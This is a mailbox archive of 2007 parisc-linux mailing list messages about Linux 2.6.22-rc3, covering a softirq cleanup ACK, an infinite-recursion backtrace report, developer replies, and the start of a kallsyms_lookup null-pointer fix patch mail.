List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SHcWAUx8a2A7nLvDOHQyI+IyOWhhaken
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24603

On Mon, May 28, 2007 at 04:31:59PM -0600, Grant Grundler wrote:
> Kyle,
> 
> This patch removes remnants of softirq support that we no longer need.
> I suspect this was just overlooked when willy convert parisc to generic
> IRQ support.
> 
> Tested on c3600 32-bit UP.
> 

ACK once it's been tested a bit more thoroughly.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3
Date: Tue, 29 May 2007 17:34:50 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <JIT7A2$DBBD069B2D6747164554FD17CA1B6184__32456.2882924967$1416624377$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624377 24354 80.91.229.3 (22 Nov 2014 02:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:17 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2007 15:35:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 29 May 2007 17:35:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 499EF7DDE7;
	Tue, 29 May 2007 09:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08831-10; Tue, 29 May 2007 09:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1126A7DE02;
	Tue, 29 May 2007 09:35:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA3B17DDD3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 09:34:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08831-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 09:34:56 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id A27207DDC8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 09:34:55 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id l4TFYoR07615
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 17:34:50 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eQwWAXZpa2A7nLvDOHQyFpcyOWhhagf0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24604

Hello Helge, Kyle,

I just noticed the same pb you mentioned but with 2.6.22-rc2 rebuild with=

gcc-4.1.3 20070518 (debian pkg) ro run 32bit up kernel only:
patst004 login: Backtrace:
[<10111500>] unwind_once+0x154/0x38c
[<10110aa0>] get_wchan+0x3c/0x80
[<101a939c>] do_task_stat+0x69c/0x6a4
[<101a6b88>] proc_info_read+0xc4/0x104
[<1016d724>] vfs_read+0xb4/0x164
[<1016dbec>] sys_read+0x4c/0x90
[<1010b080>] syscall_exit+0x0/0x14
Backtrace:
[<10111500>] unwind_once+0x154/0x38c
[<101068cc>] do_show_stack+0x28/0xb0
[<10106df0>] parisc_terminate+0x7c/0xd4
[<10107274>] handle_interruption+0x24c/0x690
[<1010a080>] intr_check_sig+0x0/0x34

[snip]

[<10111500>] unwind_once+0x154/0x38c
[<101068cc>] do_show_stack+0x28/0xb0
[<10106df0>] parisc_terminate+0x7c/0xd4
[<10107274>] handle_interruption+0x24c/0x690
[<1010a080>] intr_check_sig+0x0/0x34

(this last loops for ever).

These occure after a simple 'top' on a b2k as well as on a b180.

(sorry if I couldn't any more spent more time to help to debug ;-);
The best I can do is to attempt to build same stuff with gcc-4.2? )

Joel

PS: grabing latest git tree I still got follwing WARNINGs:
WARNING: arch/parisc/kernel/built-in.o(.text.alloc_pa_dev+0x150): Section=

mismatch: reference to .init.text:parisc_hardware_description (after
'alloc_pa_dev')
WARNING: drivers/built-in.o(.text.lba_fixup_bus+0x3c): Section mismatch:
reference to .init.text:pci_read_bridge_bases (after 'lba_fixup_bus')

=0A---=0Ahttp://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3
Date: Tue, 29 May 2007 12:10:17 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20070529161017.GE10560__3758.09853799201$1416624377$gmane$org@fattire.cabal.ca>
References: <JIT7A2$DBBD069B2D6747164554FD17CA1B6184@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624377 24355 80.91.229.3 (22 Nov 2014 02:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:17 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2007 16:10:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 29 May 2007 18:10:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7A0C7DEC5;
	Tue, 29 May 2007 10:10:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09604-03; Tue, 29 May 2007 10:10:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DA747DEB5;
	Tue, 29 May 2007 10:10:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 177087DE82
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 10:10:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09240-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 10:10:18 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 4D41F7DE4C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 10:10:18 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E62C2584099;
	Tue, 29 May 2007 12:10:17 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6D53E584097;
	Tue, 29 May 2007 12:10:17 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 258D2837DB; Tue, 29 May 2007 12:10:17 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <JIT7A2$DBBD069B2D6747164554FD17CA1B6184@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QWhqD3ZJQEVsxejDZnVpZaFKNzg2NcKH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24605

On Tue, May 29, 2007 at 05:34:50PM +0200, Joel Soete wrote:
> I just noticed the same pb you mentioned but with 2.6.22-rc2 rebuild with
> gcc-4.1.3 20070518 (debian pkg) ro run 32bit up kernel only:
> patst004 login: Backtrace:

So on 32-bit it actually makes it to userspace? Interesting.

I've spent the last 2 days debugging this, I'll let you know when I have
something to test.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3
Date: Wed, 30 May 2007 01:56:28 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20070530055628.GA18850__4160.45886599949$1416624378$gmane$org@fattire.cabal.ca>
References: <JIT7A2$DBBD069B2D6747164554FD17CA1B6184@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624378 24360 80.91.229.3 (22 Nov 2014 02:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2007 05:56:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 30 May 2007 07:56:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BA1A7DDA0;
	Tue, 29 May 2007 23:56:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32209-05; Tue, 29 May 2007 23:56:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28D8D7DDCD;
	Tue, 29 May 2007 23:56:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 048137DD41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 23:56:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32170-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 23:56:30 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 386E87DCDE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 23:56:30 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B08B9584097;
	Wed, 30 May 2007 01:56:29 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2683C584095;
	Wed, 30 May 2007 01:56:29 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CE32D23DD0; Wed, 30 May 2007 01:56:28 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <JIT7A2$DBBD069B2D6747164554FD17CA1B6184@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f3Y1C7JcbHIymK3NNjQ0rKgqJihyalCY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24606

On Tue, May 29, 2007 at 05:34:50PM +0200, Joel Soete wrote:
> Hello Helge, Kyle,
> 
> I just noticed the same pb you mentioned but with 2.6.22-rc2 rebuild with
> gcc-4.1.3 20070518 (debian pkg) ro run 32bit up kernel only:
> patst004 login: Backtrace:
> [<10111500>] unwind_once+0x154/0x38c
> [<10110aa0>] get_wchan+0x3c/0x80
> [<101a939c>] do_task_stat+0x69c/0x6a4
> [<101a6b88>] proc_info_read+0xc4/0x104
> [<1016d724>] vfs_read+0xb4/0x164
> [<1016dbec>] sys_read+0x4c/0x90

I have no idea what caused this, but the infinite recursion should be
fixed once I push the fixes out. I can look at this over the weekend
maybe (sorry, I don't have any machines kicking around plugged in and
wired up that can run 32-bit atm.)

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3
Date: Wed, 30 May 2007 01:57:04 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20070530055704.GB18850__4112.02338659695$1416624378$gmane$org@fattire.cabal.ca>
References: <JIT7A2$DBBD069B2D6747164554FD17CA1B6184@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624378 24365 80.91.229.3 (22 Nov 2014 02:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2007 05:57:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 30 May 2007 07:57:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A8B07DE20;
	Tue, 29 May 2007 23:57:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32609-02; Tue, 29 May 2007 23:57:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E2567DE25;
	Tue, 29 May 2007 23:57:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAFF07DE1E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 23:57:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32170-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 23:57:06 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0C6CA7DE17
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 May 2007 23:57:06 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8998A584097;
	Wed, 30 May 2007 01:57:05 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 108DD584095;
	Wed, 30 May 2007 01:57:05 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CDBA923DD0; Wed, 30 May 2007 01:57:04 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <JIT7A2$DBBD069B2D6747164554FD17CA1B6184@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CCBqcVZ3bGI0haaDYmRnAvdncmZ1Zpxw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24607

On Tue, May 29, 2007 at 05:34:50PM +0200, Joel Soete wrote:
> WARNING: arch/parisc/kernel/built-in.o(.text.alloc_pa_dev+0x150): Section
> mismatch: reference to .init.text:parisc_hardware_description (after
> 'alloc_pa_dev')
> WARNING: drivers/built-in.o(.text.lba_fixup_bus+0x3c): Section mismatch:
> reference to .init.text:pci_read_bridge_bases (after 'lba_fixup_bus')
> 

Harmless warnings. I'll get to these in the morning if Helge doesn't
beat me to it.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix possible null ptr deref in
	kallsyms_lookup
Date: Wed, 30 May 2007 02:43:16 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20070530064316.GA18422__33641.6118698709$1416624379$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624379 24372 80.91.229.3 (22 Nov 2014 02:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:19 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: torvalds@osdl.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2007 06:43:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 30 May 2007 08:43:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB6DF7DE82;
	Wed, 30 May 2007 00:43:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00387-09; Wed, 30 May 2007 00:43:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC2D67DE58;
	Wed, 30 May 2007 00:43:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADFBA7DE55
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 00:43:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00387-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 00:43:18 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E19167DE50
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 May 2007 00:43:17 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 82AEF584097;
	Wed, 30 May 2007 02:43:17 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 06814584095;
	Wed, 30 May 2007 02:43:17 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id AF6E923DD1; Wed, 30 May 2007 02:43:16 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
